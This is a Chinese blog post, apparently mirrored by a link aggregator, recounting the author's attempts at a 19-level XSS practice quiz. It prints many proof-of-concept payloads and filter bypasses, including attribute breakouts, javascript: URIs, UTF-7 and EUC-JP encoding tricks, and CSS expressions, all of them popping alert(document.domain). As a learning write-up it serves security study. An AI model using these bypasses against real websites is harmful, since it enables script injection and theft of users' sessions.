3

XSS Quiz 练习题做题过程及感悟

 2 years ago
source link: https://phuker.github.io/xss-quiz-challenges.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

XSS Quiz Challenges

最近刚学 XSS。所以新手理解如有错误不当,欢迎批评指正。

本文仅供怀旧,详见后记。

第 1 题

一开始做,使用了 Chrome 浏览器。第一题怎么都做不出来。突然想起来使用 IE,打开 IE11,才成功了。

<script>alert(document.domain);</script>

Challenge 1

第 2 题

第二题,直接用这个不行。

Challenge 2

查看源代码。

Challenge 2

构造一个,把左边的 <input 封掉。

"><script>alert(document.domain);</script><"

Challenge 2

Challenge 2

第 3 题

随便搜点东西

Challenge 3

"</b></form><script>alert(document.domain);</script><from><b>"

Challenge 3

Challenge 3

可见他过滤了尖括号和引号。<>" 分别变成了转义符 <>"

我试试用 Jother。也不行

上网查阅资料,找到另一种回避 <>" 的方法:Unicode 编码

<  \u003c
>  \u003e
"  \u0022

再试试 Base64

data:text/html;base64,IjwvYj48L2Zvcm0+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pjxmcm9tPjxiPiI=
data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+

似乎也不行。跪了

实在不行了。Hint 里写:Hint: The input in text box is properly escaped.

网上的答案写:“但是输入点就不仅这处。”

只好在 F12 Console 里写:

alert(document.domain)

弹窗。不知出题者什么意思。。。估计不是这个意思。

什么叫输入点不仅此处?尝试使用工具 WebScarab:

Challenge 3

改下面的。在 Japan 后加上

<script>alert(document.domain);</script>

弹窗成功。

在 Firefox 的 FireBug 下,直接修改也行。不知道出题的意思是什么。

Challenge 3

第 4 题

发现了这个东西:多出来的

Challenge 4

我把它改为了 type=text,直接输入下文:

"><img src=# onerror=alert(document.domain)><input type="text" value="

成功弹窗。

Challenge 4

第 5 题

一开始没注意有什么。没有过滤。突然发现有长度限制 15 字符。

Challenge 5

直接把 15 改为 999。然后填写,弹窗成功。

Challenge 5

也可以用 WebScarab 拦截 POST 包,修改。可以绕过 15 字符限制。成功弹窗。

Challenge 5

后来看了网上答案,似乎也是用代理拦截。

第 6 题

这次随便输入东西。发现 <> 号被转义为 <>

尝试利用前面的知识:Unicode 编码。似乎不行。

突然想起,用这个代码,不需要尖括号:

" onmouseover=alert(document.domain) align="left

弹窗成功。

看答案是基本一样的。

第 7 题

这一次刚一看,没有长度限制。也没有过滤。仔细看才发现,把 &<>"' 这些符号都转义了,变成了 &<>"'

Challenge 7

先来试试前面的 Unicode 和 base64 吧:

测试不行?

"><img src=# onerror=alert(document.domain)><"

看 Hint:Hint: nearly the same... but a bit more tricky.

差点忘了第 6 题的方法。只是引号不能用了。

突然发现 <input>value 没有引号。要啥引号!

123 onmouseover=alert(document.domain)

鼠标滑过,弹窗成功。

看来代码还是要仔细看的。

第 8 题

这次的 Search 变成了 Make a link。果然是输入一个地址,在下面生成一个同样的链接。

那目测要反射型?

Challenge 8

但是测试一下发现,他过滤了引号和尖括号。

" onclick=alert(document.domain) align="left

上面是不行的。

Challenge 8

忍不住看一眼答案,瞬间明白了,直接在 src 里面插代码不就完了。

javascript:alert(document.domain)

这就行了。

第 9 题

看代码,又一个 hidden 的 <input>

Hint: UTF-7 XSS

UTF-7:A Mail-Safe Transformation Format of Unicode(RFC1642)。这是一种使用 7 位 ASCII 码对 Unicode 码进行转换的编码。它的设计目的仍然是为了在只能传递 7 位编码的邮件网关中传递信息。UTF-7 对英语字母、数字和常见符号直接显示,而对其他符号用修正的 Base64 编码。符号 + 和 - 号控制编码过程的开始和暂停。所以乱码中如果夹有英文单词,并且相伴有 + 号和 - 号,这就有可能是 UTF-7 编码。

Challenge 9

不管了,先上 FireBug 爽一把:

Challenge 9

我看到,这个 hidden 的 <input>name="charset"value="EUC-JP"

EUC-JP 是日语的一种编码方式。

研究答案:

+ACI- onmouseover=+ACI-alert(document.domain)+ADsAIg- x=+ACI-

UTF-7

实际测试:+ 编码为 %2b

p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=euc-jp

突然在另一个答案上有注释:

现在只有 IE 支持 UTF-7 所以 IE 下通过

我去,用了半天火狐了。转回 IE

可惜 IE 也不行?什么情况?

第 10 题

这次 <>" 都没有过滤。

用了刚才一招:

" onmouseover=alert(document.domain) align="left

没有弹窗。再看看代码,发现 domain 这个词给我过滤了

恐怕要用编码。

对了,上边还有个 hidden 的 input 标签:

<input type="hidden" name="key" value="tubhf22ui/qiq">

这是啥玩意?

搞了半天,忍不住看一眼答案,真是太巧妙了:

" onmouseover=alert(document.domdomainain); x="

domain 过滤掉,两边合起来还是 domain

致以崇高敬意。

第 11 题

这一次什么都没有过滤。不知道会有什么花样。

直接上代码:" onmouseover=alert(document.domdomainain); x="

Challenge 11

我去,我的 mouseover 变为了 xxx。而不是上一局的直接删除。

上一局的方法又不好使了。

再来一招:

"><img src=# onerror=alert(document.domain)><"

我去,error 这个词也过滤了。

我猜 script 也会过滤:

果然。<script></script> 之间的都被删了。

这次的 Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"

src="javascript.......

因此也变为了 javaxscript

看答案:使用了 (\t)把 script 隔开了。用

"><a href="javascr	ipt:alert(document.domain);">12</a>

点击链接,火狐会直接打开新窗口

用 IE,却可以弹窗。我勒个去?

第 12 题

这次 value 没有引号。但是发现空格会被过滤。尖括号和引号也会直接消失。

``onmouseover=alert(document.domain);

一开始两个单引号。但是用火狐还是不行。用 IE 可以。

不对,不是单引号,而是 ESC 下面的键 `,ascii 码为 96(0x60)。叫做反单引号。

这一关是把 00 空字符,和 20 空格、尖括号、单引号、双引号都过滤成空了。可以用反引号(`)TAB 键上面的那个代替。IE 下通过,FF、Chrome 不行。

第 13 题

一个背景颜色的题,可惜会过滤我的引号。

Challenge 13

关于 style,expression,css 等方面基本不懂。直接看答案吧。

网上某答案写

background-color:#f00;background:url("javascript:alert(document.domain);");

这种方式没有成功

另一个答案写:

在 CSS 样式中利用 expression 实现 JavaScript 中的 onmouseover/onmouseout 事件

aa:expression(onmouseover=function(){alert(document.domain)})

似乎也不行。

先用 FireBug 弹窗,过了再说。

PS:14 题开始使用 IE8 内核的浏览器时,回过头看一看:

两种都可以弹窗。

第 14 题

还是 style 的题。先看 Hint: s/(url|script|eval|expression)/xxx/ig;

难道是升级版?试了一下,这四个词全变成了 xxx。那么上一题的方法也不能用了。

再次看答案,

cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

看来是在里面插入空白注释来回避审查。

我使用 IE11 和 Firefox 都无法弹窗。有可能是浏览器问题(出了这么多问题),于是拿出经典的点心浏览器(不是做广告),IE8 内核。一直按 F12 切换内核太麻烦。这次弹窗了。那就决定使用它了。

第 15 题

这是一个 javascript,使用了 document.write

Challenge 15

先上代码:

");alert(document.domain);alert("

发现转义了 <>"

用转义的 ASCII 码:

< 0x3c
> 0x3e
\x3cscript\x3ealert(document.domain);\x3c/script\x3e

发现单个 \ 不成功。使用这个:

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

成功弹窗。

做个小实验,本地 HTML,

<script>
document.write("<script>alert(3)</script>");
</script>

不会弹窗。

<script>
document.write("\x3cscript\x3ealert(3)\x3c/script\x3e");
</script>

上面这样转义,则会弹窗。(Chrome)

第 16 题

目测与 15 题类似。但是 Hint 加了一句。

Hint: "document.write();" and "s/\\x/\\\\x/ig;"

再目测这是跟 16 进制过不去?

\x 会变为 x,而 \\x 还是 \\x\\\x 变为 \\x

试试十进制、八进制啥的。

<> 的十进制是 60 和 62。

\60script\62alert(document.domain);\60/script\62

仍然过滤了 \。再次变为两个:

\\60script\\62alert(document.domain);\\60/script\\62

仍然不行。\\6 集体消失。

试一下 Unicode。参考前面的,

< \u003c
> \u003e
" \u0022
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

第 17 题

这一题有两个框。

Challenge 17

看答案,这一题似乎较为复杂,和日语编码有关;并且新版本的 IE 都已经修复了。

提示:multi-byte character

euc-jp 的编码范围:

byte 1 為 8E 時,為 2 byte 編碼,byte 2 範圍為 A1-DF

byte 1 範圍為 A1-FE 時,為 2 byte 編碼,byte 2 範圍為 A1-FE

byte 1 為 8F 時為 3 byte 編碼,byte 2 與 byte 3 範圍均為 A1-FE

两个表单元素都提交 %A7 闭合最后的双引号,查看源码成功了,为什么 UI 上去没成功?无奈直接在地址栏:javascript:alert(document.domain);

现在发现原来是浏览器版本问题,别用 IE8 了过这个。

p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

干脆跳过拉倒。

第 18 题

同样问题。

跳过拉倒。

第 19 题

这一题没有了 input 的框。只有一个指向自己的 link。

那怎么办,直接 console 输入拉倒。(在地址栏输入 javascript:alert(document.domain) 也行)

全部通关。

后记

这篇文章是洒家几年前刚开始学 XSS 的时候写的,那时洒家对 XSS 的理解不是很深,都是半懂不懂地一顿乱试。另外,这篇文章就是个流水账,内容全都是口语,句子都不通顺,还有一些错别字和一些不知道什么意思的多余字符串。

洒家对着多余的字符串百思不得其解。搜索了一下,意外发现我这篇文章已经被翻译成多种文字了,可惜都是机器翻译。

Spider

这一套题目即使在当时看来也有点老了,有的题目考察的是旧版 IE 的特性,有的题目场景好像都是 self-XSS。简单看了一下,一些修改页面元素、抓包改包才能注入 JavaScript 代码的题,应该是要结合 CSRF 才有现实利用价值。

因此这篇文章仅供怀旧。

写于 2020 年 11 月迁移老博客时。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK